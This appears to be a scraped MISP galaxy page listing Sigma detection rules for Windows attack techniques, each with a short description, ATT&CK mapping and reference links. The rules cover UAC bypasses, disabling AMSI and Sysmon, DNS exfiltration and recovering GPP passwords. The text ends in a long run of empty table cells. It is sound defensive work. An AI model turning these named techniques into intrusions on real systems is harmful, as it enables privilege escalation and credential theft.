<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential Provisioning Registry Key Abuse For Binary Proxy Execution

Detects potential abuse of the provisioning registry key for indirect command execution through "Provlaunch.exe".

The tag is: *misp-galaxy:sigma-rules="Potential Provisioning Registry Key Abuse For Binary Proxy Execution"

View relationships graph

Potential Provisioning Registry Key Abuse For Binary Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

File Download From IP Based URL Via CertOC.EXE

Detects when a user downloads a file from an IP based URL using CertOC.exe

The tag is: *misp-galaxy:sigma-rules="File Download From IP Based URL Via CertOC.EXE"

View relationships graph

File Download From IP Based URL Via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
Zip A Folder With PowerShell For Staging In Temp

Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration

The tag is: misp-galaxy:sigma-rules="Zip A Folder With PowerShell For Staging In Temp"

View relationships graph

Zip A Folder With PowerShell For Staging In Temp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

Table 9875. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6fcdd3742bfcf365fee2a9/atomics/T1074.001/T1074.001.md</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_zip_compress.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_zip_compress.yml</a></td>
</tr>
</tbody>
</table>

Greedy File Deletion Using Del

Detects execution of the "del" builtin command to remove files using greedy/wildcard expression. This is often used by malware to delete content of folders that perhaps contains the initial malware infection or to delete evidence.

The tag is: misp-galaxy:sigma-rules="Greedy File Deletion Using Del"

View relationships graph

Greedy File Deletion Using Del has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

Table 9876. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D">https://www.joesandbox.com/analysis/509330/0/html#1044F3BDBE3BB6F734E357235F4D5898582D</a></td>
</tr>
<tr>
<td><a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase">https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/erase</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_del_greedy_deletion.yml</a></td>
</tr>
</tbody>
</table>
Potential Recon Activity Using DriverQuery.EXE

Detect usage of the "driverquery" utility to perform reconnaissance on installed drivers

The tag is: misp-galaxy:sigma-rules="Potential Recon Activity Using DriverQuery.EXE"

Table 9877. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

Suspicious Group And Account Reconnaissance Activity Using Net.EXE

Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE

The tag is: misp-galaxy:sigma-rules="Suspicious Group And Account Reconnaissance Activity Using Net.EXE"

View relationships graph

Suspicious Group And Account Reconnaissance Activity Using Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"

Table 9878. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/">https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/</a></td>
</tr>
<tr>
<td><a href="https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/">https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_groups_and_accounts_recon.yml</a></td>
</tr>
</tbody>
</table>

UAC Bypass Using IEInstal - Process

Detects the pattern of UAC Bypass using IEInstal.exe (UACMe 64)
The tag is: `misp-galaxy:sigma-rules="UAC Bypass Using IEInstal - Process"`

View relationships graph

UAC Bypass Using IEInstal - Process has relationships with:


Table 9879. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hfiref0x/UACME">https://github.com/hfiref0x/UACME</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_ieinstal.yml</a></td>
</tr>
</tbody>
</table>

**HackTool - Stracciatella Execution**

Detects Stracciatella which executes a PowerShell runspace from within C# (aka SharpPick technique) with AMSI, ETW and Script Block Logging disabled based on PE metadata characteristics.

The tag is: `misp-galaxy:sigma-rules="HackTool - Stracciatella Execution"`

View relationships graph

HackTool - Stracciatella Execution has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mgeeky/Stracciatella">https://github.com/mgeeky/Stracciatella</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_stracciatella_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_stracciatella_execution.yml</a></td>
</tr>
</tbody>
</table>

**DNS Exfiltration and Tunneling Tools Execution**

Well-known DNS Exfiltration tools execution

The tag is: `misp-galaxy:sigma-rules="DNS Exfiltration and Tunneling Tools Execution"`

View relationships graph

DNS Exfiltration and Tunneling Tools Execution has relationships with:
• related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Symmetric Encrypted Non-C2 Protocol - T1048.001" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="DNS - T1071.004" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Standard Encoding - T1132.001" with estimative-language:likelihood-probability="almost-certain"

Table 9881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dns_exfiltration_tools_execution.yml</a></td>
</tr>
</tbody>
</table>

**Suspicious Child Process Of BgInfo.EXE**

Detects suspicious child processes of “BgInfo.exe” which could be a sign of potential abuse of the binary to proxy execution via external VBScript

The tag is: `misp-galaxy:sigma-rules="Suspicious Child Process Of BgInfo.EXE"`

View relationships graph

Suspicious Child Process Of BgInfo.EXE has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

• related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 9882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/">https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/">https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_suspicious_child_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_suspicious_child_process.yml</a></td>
</tr>
</tbody>
</table>

**Potential Regsvr32 Commandline Flag Anomaly**

Detects a potential command line flag anomaly related to "regsvr32" in which the "/i" flag is used without the "/n" which should be uncommon.

The tag is: `misp-galaxy:sigma-rules="Potential Regsvr32 Commandline Flag Anomaly"`

View relationships graph
Potential Regsvr32 Commandline Flag Anomaly has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 9883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/sbousseaden/status/1282441816986484737?s=12">https://twitter.com/sbousseaden/status/1282441816986484737?s=12</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win%5C_regsvr32%5C_flags%5C_anomaly.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win\_regsvr32\_flags\_anomaly.yml</a></td>
</tr>
</tbody>
</table>

Findstr GPP Passwords

Look for the encrypted cpassword value within Group Policy Preference files on the Domain Controller. This value can be decrypted with gpp-decrypt.

The tag is: misp-galaxy:sigma-rules="Findstr GPP Passwords"

Findstr GPP Passwords has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 9884. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bf635f6e2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdcfdd3742bf635f6e2a9/atomics/T1552.006/T1552.006.md#atomic-test-1---gpp-passwords-findstr</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win%5C_findstr%5C_gpp%5C_passwords.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win\_findstr\_gpp\_passwords.yml</a></td>
</tr>
</tbody>
</table>

Finger.exe Suspicious Invocation

Detects suspicious aged finger.exe tool execution often used in malware attacks nowadays

The tag is: misp-galaxy:sigma-rules="Finger.exe Suspicious Invocation"

Finger.exe Suspicious Invocation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9885. Table References
**Suspicious Rundll32 Activity Invoking Sys File**

Detects suspicious process related to rundll32 based on command line that includes a *.sys file as seen being used by UNC2452

The tag is: `misp-galaxy:sigma-rules="Suspicious Rundll32 Activity Invoking Sys File"`

View relationships graph

Suspicious Rundll32 Activity Invoking Sys File has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"

**HackTool - UACMe Akagi Execution**

Detects the execution of UACMe, a tool used for UAC bypasses, via default PE metadata

The tag is: `misp-galaxy:sigma-rules="HackTool - UACMe Akagi Execution"`

View relationships graph

HackTool - UACMe Akagi Execution has relationships with:

Potential Arbitrary Command Execution Using Msdt.EXE

Detects processes leveraging the "ms-msdt" handler or the "msdt.exe" binary to execute arbitrary commands as seen in the follina (CVE-2022-30190) vulnerability

The tag is: misp-galaxy:sigma-rules="Potential Arbitrary Command Execution Using Msdt.EXE"

View relationships graph

Potential Arbitrary Command Execution Using Msdt.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 9888. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/nao_sec/status/1530196847679401984">https://twitter.com/nao_sec/status/1530196847679401984</a></td>
</tr>
<tr>
<td><a href="https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/">https://app.any.run/tasks/713f05d2-fe78-4b9d-a744-f7c133e3fafb/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/_JohnHammond/status/1531672601067675648">https://twitter.com/_JohnHammond/status/1531672601067675648</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msdt_arbitrary_command_execution.yml</a></td>
</tr>
</tbody>
</table>

Sysmon Driver Unloaded Via Fltmc.EXE

Detects possible Sysmon filter driver unloaded via fltmc.exe

The tag is: misp-galaxy:sigma-rules="Sysmon Driver Unloaded Via Fltmc.EXE"

View relationships graph

Sysmon Driver Unloaded Via Fltmc.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 9889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
</tr>
<tr>
<td></td>
